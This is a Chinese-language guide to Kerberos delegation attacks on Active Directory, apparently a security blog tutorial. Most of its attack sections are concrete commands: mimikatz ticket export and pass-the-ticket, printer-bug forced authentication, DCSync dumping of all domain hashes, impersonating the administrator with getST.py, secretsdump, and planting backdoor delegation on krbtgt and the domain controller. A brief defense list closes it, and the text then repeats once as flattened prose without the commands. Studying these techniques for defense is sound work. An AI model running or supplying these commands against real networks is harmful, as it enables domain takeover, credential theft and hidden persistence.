Kerberos委派攻击的那些事
字数 1764 2025-08-03 16:43:02

Kerberos委派攻击全面指南

1. Kerberos委派概述

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。在域内可以委派的账户有两种:

  • 主机账户
  • 服务账户(域用户通过注册SPN也可以成为服务账号)

Kerberos委派主要分为三种类型:

  1. 非约束委派(Unconstrained Delegation)
  2. 约束委派(Constrained Delegation)
  3. 基于资源的约束委派(Resource-Based Constrained Delegation)

2. 非约束委派攻击

2.1 原理概述

当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的TGT发送给服务,服务将用户的TGT保存在内存以备下次重用。攻击者拿下该主机后可以获取所有访问过该主机用户的TGT。

2.2 发现方法

使用AdFind工具查找配置了非约束委派的主机:

AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

2.3 利用方法

  1. 被动利用

    • 使用mimikatz导出所有票据
    • 如果有其他用户访问过该主机,可以通过PTT获取该用户权限
    mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
    kerberos::ptt
    psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
    
  2. 主动利用(非约束委派+Spooler打印机服务)

    • 利用MS-RPRN协议强制域控向目标主机发起认证
    • 使用SpoolSample工具强制认证
    SpoolSample.exe DC2012 WIN7
    
    • 导出票据后可以获取DC2012$的TGT,符合DCSync利用条件
    kerberos::ptt xxxx.kirbi
    lsadump::dcsync /domain:0ne.test /all /csv
    

3. 约束委派攻击

3.1 原理概述

约束委派引入了S4U扩展:

  • S4U2self:代表自身请求针对其自身的Kerberos服务票据(ST)
  • S4U2proxy:以用户的名义请求其它服务的ST

攻击者拿下配置了约束委派的服务账号后,可以:

  1. 利用S4U2self获得一个可转发的票据
  2. 把获取到的票据用于S42proxy
  3. 获取一个可转发的TGS
  4. 代替任意用户访问被配置的约束委派的服务

3.2 发现方法

使用AdFind工具查找:

AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

或使用impacket的findDelegation.py:

findDelegation.py -dc-ip 192.168.17.134 -target-domain 0ne.test 0ne.test/zhangsan:zs@123456

3.3 利用方法

  1. 后门利用

    • 给后门账户注册SPN:
      setspn -U -A variant/golden lisi
      
    • 配置后门账户到域控的约束委派
    • 使用getST.py模拟域管理员申请访问域控的LDAP服务的ST:
      getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi -hashes xxxxx:xxxxxx
      
    • PTT后使用wmiexec或secretsdump:
      export KRB5CCNAME=administrator.ccache
      wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test
      secretsdump.py -k -no-pass DC2012.0ne.test -just-dc-user administrator
      
  2. 横向移动

    • 与后门利用方法类似,使用已控制的约束委派服务账号获取目标服务的访问权限

4. 基于资源的约束委派攻击(RBCD)

4.1 原理概述

与传统的约束委派不同:

  • 配置方式相反:通过将service1的SID添加到service2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中
  • S4U2self返回的票据即使不可转发,S4U2proxy也可以成功
  • S4U2proxy返回的票据总是可转发

默认拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity权限的账户:

  • Domain Admins
  • mS-DS-CreatorSID(将该机器加入域的账户)
  • NT AUTHORITY\SELF(机器账户本身)

4.2 利用条件

  1. 能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
  2. 一个具有SPN的账户的TGT

4.3 利用方法

  1. 后门利用

    • 修改krbtgt或域控的msDS-AllowedToActOnBehalfOfOtherIdentity属性:
      Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount lisi
      Set-ADComputer DC2012 -PrincipalsAllowedToDelegateToAccount lisi
      
    • 获取ST并利用:
      getST.py -dc-ip 192.168.17.134 -spn krbtgt -impersonate administrator 0ne.test/lisi:ls@123456
      wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test
      
  2. 横向移动

    • 查找mS-DS-CreatorSID相同的机器:
      AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
      
    • 添加机器账号并设置RBCD:
      addcomputer.py -dc-ip 192.168.17.134 -computer-name 'test01$' -computer-pass test@123456 0ne.test/zhangsan:zs@123456
      rbcd.py -f test01 -t win7 -dc-ip 192.168.17.134 0ne\\zhangsan:zs\@123456
      
    • 获取ST并利用:
      getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456
      wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@win7.0ne.test
      
  3. 提权利用

    • 对于IIS等低权限账户:
      SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test
      getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iis
      wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@web01.0ne.test
      

5. 防御建议

  1. 限制非约束委派的使用,仅在绝对必要时启用
  2. 严格控制约束委派和基于资源的约束委派配置
  3. 监控敏感账户的SPN注册和修改
  4. 定期审计域内委派配置
  5. 限制普通用户将计算机加入域的权限
  6. 监控异常Kerberos票据请求活动

6. 参考工具

  1. AdFind - 查询AD信息
  2. Mimikatz - 提取票据和凭据
  3. Impacket工具包(findDelegation.py, getST.py等)
  4. SpoolSample - 强制打印机服务认证
  5. rbcd.py - 设置基于资源的约束委派
  6. SharpAllowedToAct - 设置基于资源的约束委派
Kerberos委派攻击全面指南 1. Kerberos委派概述 域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。在域内可以委派的账户有两种: 主机账户 服务账户(域用户通过注册SPN也可以成为服务账号) Kerberos委派主要分为三种类型: 非约束委派(Unconstrained Delegation) 约束委派(Constrained Delegation) 基于资源的约束委派(Resource-Based Constrained Delegation) 2. 非约束委派攻击 2.1 原理概述 当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的TGT发送给服务,服务将用户的TGT保存在内存以备下次重用。攻击者拿下该主机后可以获取所有访问过该主机用户的TGT。 2.2 发现方法 使用AdFind工具查找配置了非约束委派的主机: 2.3 利用方法 被动利用 : 使用mimikatz导出所有票据 如果有其他用户访问过该主机,可以通过PTT获取该用户权限 主动利用(非约束委派+Spooler打印机服务) : 利用MS-RPRN协议强制域控向目标主机发起认证 使用SpoolSample工具强制认证 导出票据后可以获取DC2012$的TGT,符合DCSync利用条件 3. 约束委派攻击 3.1 原理概述 约束委派引入了S4U扩展: S4U2self:代表自身请求针对其自身的Kerberos服务票据(ST) S4U2proxy:以用户的名义请求其它服务的ST 攻击者拿下配置了约束委派的服务账号后,可以: 利用S4U2self获得一个可转发的票据 把获取到的票据用于S42proxy 获取一个可转发的TGS 代替任意用户访问被配置的约束委派的服务 3.2 发现方法 使用AdFind工具查找: 或使用impacket的findDelegation.py: 3.3 利用方法 后门利用 : 给后门账户注册SPN: 配置后门账户到域控的约束委派 使用getST.py模拟域管理员申请访问域控的LDAP服务的ST: PTT后使用wmiexec或secretsdump: 横向移动 : 与后门利用方法类似,使用已控制的约束委派服务账号获取目标服务的访问权限 4. 基于资源的约束委派攻击(RBCD) 4.1 原理概述 与传统的约束委派不同: 配置方式相反:通过将service1的SID添加到service2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中 S4U2self返回的票据即使不可转发,S4U2proxy也可以成功 S4U2proxy返回的票据总是可转发 默认拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity权限的账户: Domain Admins mS-DS-CreatorSID(将该机器加入域的账户) NT AUTHORITY\SELF(机器账户本身) 4.2 利用条件 能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限 一个具有SPN的账户的TGT 4.3 利用方法 后门利用 : 修改krbtgt或域控的msDS-AllowedToActOnBehalfOfOtherIdentity属性: 获取ST并利用: 横向移动 : 查找mS-DS-CreatorSID相同的机器: 添加机器账号并设置RBCD: 获取ST并利用: 提权利用 : 对于IIS等低权限账户: 5. 防御建议 限制非约束委派的使用,仅在绝对必要时启用 严格控制约束委派和基于资源的约束委派配置 监控敏感账户的SPN注册和修改 定期审计域内委派配置 限制普通用户将计算机加入域的权限 监控异常Kerberos票据请求活动 6. 参考工具 AdFind - 查询AD信息 Mimikatz - 提取票据和凭据 Impacket工具包(findDelegation.py, getST.py等) SpoolSample - 强制打印机服务认证 rbcd.py - 设置基于资源的约束委派 SharpAllowedToAct - 设置基于资源的约束委派